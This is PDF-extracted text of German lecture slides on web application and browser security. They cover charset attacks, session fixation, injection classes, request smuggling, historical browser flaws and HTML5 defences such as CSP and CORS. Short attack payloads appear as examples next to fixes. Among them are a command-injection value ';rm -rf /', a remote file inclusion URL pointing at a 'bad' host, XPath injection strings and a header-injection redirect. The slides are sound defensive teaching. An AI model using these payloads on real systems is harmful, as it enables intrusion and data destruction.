alt: 16bit, neu: 24bitnicht alle Charpoints gültig\pWord != \pPerlWord, analog Spaces..diverse Encodings: UTF­8, UTF­16/32 LE/BE, 2xUTF­7, UCS­2/4UTF­7 sollte als Angriff betrachtet werdenUTF­8 kann alles, man sollte darauf normieren1..6 Bytes, 1 Byte == ASCIInicht alle Bytefolgen gültig ­ nur minimale erlaubt

muss man erzwingen für Normalisierung

Page 36: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Charsets ­ HTTP Response

HTTP Header Content­type: text/html;charset=...<meta charset und <meta http­equiv="content­type"...Einbetten via <script charset=... und <style charset=...data="text/html;charset=...inner Frame erbt Charset von outer FrameCharset­Detection (ICU) wenn kein explizites Charset (BOM,...)

was passiert, wenn sich Angaben widersprechen?MSIE beharrt auf UTF­7, wenn UTF­7 BOM gefunden

selbst wenn Charset explizit gegeben

Charsets ­ HTTP Request

preferred Charsets für Formulardaten accept­charsetwenn nicht gegeben, dann i.A. Charset von HTML­Seiteaus Request nicht sichtbar, was verwendet wurde ­> Ratenbei File­Uploads Charset nicht übermittelt ­> Raten

Dual Charset

Upload als ASCIIDownload als.. <style charset=...Charset outer Frame Default für Charset inner FrameUrsache: Designproblem ­ mehrere Stellen für Charset Definition + AutodetectionWorkarounds:

Default Charset per HTTP­Headerkein <meta charset= o.ä. in uploaded HTML erlaubenaber: MSIE UTF­7 Detection ignoriert selbst explizites Charset aus HTTP HeaderUploads konvertieren nach UTF­8explizite BOM

Entscheidungen im Server

Input­Charset vom FormularCharset für NormalisierungCharset in Datenbank, Datenbankconnector, Filesystem, Inhalt von FilesCharset in User­Content, externen Includes

Page 37: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Output­Charset für Seiteam besten an allen Stellen auf explizites utf­8 normieren, um Charset­Downgrade zuvermeiden

weitere Attacken

Weitere Attacken

offene Daten

Patientendaten, Firmengeheimnisse... offen auf WebserverVektor:

"aus Versehen" ­ Idiot hat Schreibrechte für public Server"ich dachte das wäre das Intranet" ­ fehlende Trennung extern/intern"das Verzeichnis war durch robots.txt geschützt" ­ falsche Vorstellung von Sicherheit"es wusste doch keiner der Filenamen" ­ dito...

Fix:Trennung extern/internabgestufte Zugangsrechte verbunden mit sinnvoller Schulung

OS Command Injection

system( "sendmail ­f $from $to" )to=";rm ­rf /"Fix: Validation, Escaping, system(array)

RFI/LFI ­ Remote/Local File Inclusion

http://vulnerable/script?action=bla.phpPHP: include($_GET["action"])RFI: http://vulnerable/script?action=http://bad/hack.phpLFI: http://vulnerable/script?action=/path/userupload.gif%00.phpFix: Verifizierung der Parameter

Session Fixation

Page 38: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

beeinflussen, welchen Session­Id der Nutzer bekommtwarten, das Server Session­Id mit Nutzer assoziiertund dann mit dem bekannten Session­Id Unfug treiben

Bild Session Fixation

Session­Id in URL

Session­Id ausdenken oder validen Session­Id von Server benutzenURL mit Session­Id dem Opfer zukommen lassen (Mail, Link...)warten, bis sich Nutzer mit diesem Session­Id einloggt

Server assoziiert Nutzer mit Session­IdVektor: mangelhaftes Verständnis Interaktionen

Fix: bei Wechsel der Authorization immer neuen Session­Id ausstellen

Cookie setzen aus Subdomain

Session­Cookie ausdenken oder validen Session­Cookie von Server erfragenOpfer auf vom Attacker kontrollierte Subdomain lenken

z.B. localhost.ebay.com 127.0.0.1Session­Cookie für Parent­Domain setzenwarten das Nutzer sich damit einloggtVektor: Fehldesign Cookies

man kann Cookie für Parent­Domain setzennicht definiertes Verhalten, wenn verschiedene Origins gleichen Key für gleicheDomain benutzen

Page 39: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Fix#1: bei Wechsel der Authorization immer neuen Session­Id ausstellenFix#2: "random" Cookie­Name

Skriptbeeinflussung via HTML Injection

<form id=location href=foo>IE8: location.href == 'foo'analog document.cookie, document.body.innerHTML..Vektor: Designproblem Interaktion DOM/JavascriptWorkaround:

Validierung, Normalisierung, EscapingSpezialbehandlung spezieller Variablen im Browser

non­Cookie Session­Id Leak via XSS

Vektor:Session­Id in (hidden) Formularfeldern, URLs...XSS, auslesen der Informationen aus DOM

Fix:XSS verhindernSession­Id in HTML vermeidenz.B. nicht Session­Id als CSRF­Token einsetzen

OSRF ­ Origin Site Request Forgery

interagierende Komponenten:Client: AppFrame, Cookiestore, OtherFrame/ExternAppWebserver mit aktiver Session zu Client

CGI: link?type=question<img src=question.gif

Attacke: link?type=/delete.cgi#<img src=/delete.cgi#.gifCookie für Server wird mit übertragen

Vektor: mangelhafte Validierung Input/Output im ServerFix: Validierung, Normalisierung, Escaping

Session­Id Leak via Referer

für Cookie­Verweigerer wird Session­Id in URL gepackt

Page 40: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

welche im Referrer zu beachten istVektor: mangelhaftes Verständnis der InteraktionenFixes:

Referrer als öffentlich ansehen und entsprechend behandelnkeine externen Links zulassenstrip Session­Id von URL vor Weiterleiten nach ExternSession­Id nur per POST­Daten verschicken

XPATH Injection

XPath: /users/user[@user='$u' and @pw='$p']/salaryAttacke: p=foo' or 'x'='x/users/user[@user='$u' and @pw='foo' or 'x'='x']/salaryFix:

Validierung, EscapingParameterized XPath Expressions

HPP ­ http Parameter Pollution

Formulardaten"id=<scr&id=ipt>"oder auch "id=<scr" in URL und "id=ipt>" in POST Datenoder auch "id=<scr%26id=ipt>"

Resultat: je nach System"<scr", "ipt>", "<script>", "<scr,ipt>", ['<scr','ipt>'], ...

Impact: Umgehung von WAF, Inputfiltern, mod_rewrite etcVektor:

mangelnde Spezifikation Verhalten in Standardfehlerhafte Normalisierungen

Workaround: die() wenn Parameter mehrfach

open Redirector

http://good/link?url=http://bad/.. ­ RedirectVertrauen zu 'good' nutzen um nach 'bad' zu verbindenHeader und Daten einschleusen?

print "Location: $url\r\n"..?url=http://bad/%0D%0A%0D%0A<script...

XSS: <meta http­equiv=refresh content=..URL=$urlFix:

nur trusted url Parameter

Page 41: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

cryptografische Checksum für url Parameterurl Parameter verschlüsselt

open URL Proxy

http://good/link?url=http://bad/.. ­ Inhalt durchleitenSame­Origin­Policy von good bleibt

Seiten aus 'bad' haben Zugriff auf Cookies aus good

window.postMessage

beteiligte Komponenten: AppFrame, OtherFrameHTML5 Kommunikation zwischen beliebigen Frameswindow.addEventListener("message", recv, false);function recv(event e) eval(data) Attack: other.PostMessage('...bad code...',target)Fix:

URL e.origin als erlaubt verifizierenVerifizieren Daten, wenn aus fremdem Origin

außerdem: target auf URL setzen, die man in other erwartet, statt '*'

HTTP Request Smuggling I

beteiligte Komponenten: Client, Proxy, ServerClient: GET url\r\n ­ warten auf ResponseAttacke: url=http://..\r\n\r\nGET ...und dann noch einem normalen Request Rq2 hinterheraus einem Request mach zwei, auch mit Custom­Headern oder Payload(widersprüchliche Content­length)funktioniert(e) mit XMLHTTPRequest, Flash, Java(?)...Resultat:

Proxy sieht 3 Requests und liefert 3 AntwortenClient ordnet zweite Antwort dem Request Rq2 zulocal Cache Pollutionmit Proxy Cascade Proxy Cache Pollution möglich durch ambivalente Daten

Analyse

Vektor:

Page 42: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

mangelnde Checks in Requests von Browser/PluginsAmbivalenzen im Standard"best Effort" mit kaputten Servern in Browsern und Proxies

Fixes:fix Browser/PluginsAmbivalenzen beseitigen in Interpretation"best Security" statt "best Effort" in Middleware, Normalisierung

HTTP Response Splitting

GET http://attack.com/ + GET http://good.com/attack.com liefert ambivalente Response (z.B. widersprüchliche Content­length)Resultat:

Proxy sieht zwei Requests und drei Antworten von Upstream­Proxyzweite Antwort wird zweitem Request zugeordnetCache Pollution

Vektor/Fixes: analog HTTP Request Smuggling

Server DOS

viele verschiedene Clients (Slashdot­Effekt, Low Orbit Ion Cannon...) via Botnet, Wurm,Social...TLS (Re)negotiationHash Complexity DOSDomain entführen...

korrupte/fehlfunktionierende Daten

Audio/Video Codecsungewöhnliche Bildformateriesige BilderPopup StürmeMemory Exhaustion via Javascript...

Vergangenheit, Gegenwart, Zukunft

Rückblick, Aussichten

Page 43: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

.next

typische Exploitsaktuelle ProblemeEntwicklungen, Aussichten

Bild Architektur

Clientseite

Clientseite

Vergangenheit Clientseite

2002 jeder darf CA sein mit MSIE (2011 bei iOS nochmal)2006 Frame Injection by Name (IE7)2006 Acrobat Reader http://host/file.pdf#FDF=javascript:...2007 Google Mail XSS via Lücke in blogspot Polling Skript2007 ActiveX Symantec, 2008 ActiveX Word2008 Cookie­Policy vs. localhost.ebay.com vs. local CUPS XSS2009,2010 Safari execute Javascript in local context via feed://2010 Firesheep, 2009 sslstrip2010 Cross Origin CSS (POF Yahoo Mail)

Page 44: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

2011 CA Komprimittierungen Comodo, DigiNotar2004,2007,2011 IE MHTML mhtml:http://trusted/upload.jpeg!scriptFlash, XSS

aktuelle Probleme

Flash, Shockwave Problem#1Acrobat Reader Anbindung/PluginsXSS permanentes ProblemActiveX hat nichts von Gefährlichkeit eingebüßtImplementation, Standards vs. Sicherheit

MSIE Content­Type SniffingMSIE UTF­7 UnterstützungFF,MSIE Probleme mit \0 in Data bzw. EntitiesMSIE MHTML, (FF JAR analog aber gefixt)MSIE Attribute Quoting mit `MSIE Unescaping in CSS Anweisungen statt nur StringsCSS per Standard Müll überlesenBrowser per Design Müll überlesen

PKI, DNS ohne Sec

Entwicklung, Ausblick

wird spürbar besser (Browsersecurity, DNSSec Rollout, PKI?)allerdings steigt Anzahl an Clients und Server und damit Angriffsflächeautomatische Updates bei Chrome, FF, IE

Chrome aktualisiert automatisch Flash, FF checkt zumindestIE8 XSS FilterHTML5 Verbesserungenaber IE hat zuviel Kompatibilitätsmodi für alte Sachen

HTML5

lebender Standard: aber wo lebt mein Browser gerade?klare Definition Parsing incl. Fehlerbehandlungiframe SandboxingWebsockets

schlecht: Mulumulu Schnittstellen jetzt blessedbesser als JSONP etc?

schlecht: localStorageCookies bisher nur Pointer auf Serverdaten

Page 45: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

jetzt sensitive Daten beim Clientlt. Standard soll das so nicht sein, aber wozu braucht man das sonst?

CSP Content­Security­PolicyCORS Cross­Origin­Resource­Sharing

HTML5 CSP

bisheriges Fehldesign per HTTP Header korrigieren :)FF, IE: X­Content­Security­Policy, Chrome: X­Webkit­CSPIE10 eingeschränkte Implementierungstarke Restriktionen per Default...kein inline Javascriptkein Javascript von externen Quellen einbindenkeine Medien von externen Quellennicht durch andere einbettbar (iframe)kein eval, setInterval, setTimeout, new Function.. mit Stringskeine data­URLsmuss alles explizit erlaubt sein per HTTP­Header oder Policy­File

HTML5 CORS

sichere Cross­Origin­Requests via XMLHTTPRequest erlaubenstatt bisher dynamische <script­TagsServer muss explizit zustimmenPreflight Check empfohlen, aber nicht zwingend

Serverseite

Serverseite

Vergangenheit Serverseite

viele PHP Lücken durch unsichere DefaultsFormular­Parameter als Variablen (register_globals)open SSI

2007,2008,2010 CSRF auf interne Router mit default Passwort2010 eBay Exploits durch gekaperten PowerSeller Account (Javascript)2011 Hash Complexity DOS PHP, ASP.NET, Python, Ruby..immermal: fehlerhaftes Screening von Ads, include mit <script

Page 46: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

dauernd: SQL Injections, XSS, CSRF

aktuelle Probleme

mangelhafte Validierung, Normalisierung, Escapingungerechtfertigtes Vertrauen an Ad/Tracking­Server, PowerSeller...führen zu CSRF, XSS, SQL Injections

Entwicklungen, Ausblick

umfassende Frameworks wie GWT bieten evtl. besseren Schutzdie einfacheren Frameworks verhindern Probleme nichtBrowserverbesserungen nutzen:

X­Content­Type­Options: nosniffX­Frame­Options: DENY|SAMEORIGINCSPpostMessage

Entwicklungen, Ausblick II

Sicherheitsbewusstsein muss entwickelt werdenverschärfte Gesetze führen evtl. zu finanzieller Notwendigkeit von mehr Sicherheitvon billigen PHP o.ä Codern kann man kein Sicherheitsbewusstsein erwartenWAF, IDS?

nützlich, wenn WebApp unsicher programmiertansonsten nur sinnvoll, wenn eng angepasst ­> doppelter Aufwand

SPDY in Chrome, FF11 ­ gut oder schlecht?

Resourcen

Literatur...

Bücher, Webseiten

Michael Zalewski ­ The Tangled WebMario Heiderich ­ html5sec.org

Page 47: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Michael Zalewski ­ Browser Security HandbookMartin Johns ­ PhD ThesisOWASP, OWASP CheatsheetsWASC, WASC Thread ClassificationContent­Type­Sniffing MSIE

"The Content­type Saga"IE Blog 2005MSDN BeschreibungIE Blog 2010

Test Cases for HTTP Content­Disposition header fieldHTML5::Sanitizer

Blogs

low­traffic high­quality Blogslcamtuf ­ Michael Zalewskihackademix ­ NoSkript AutorThe SpannerXS­Sniper ­ Billy (RK) RiosIE BlogModSecurityDan Kaminski

Fragen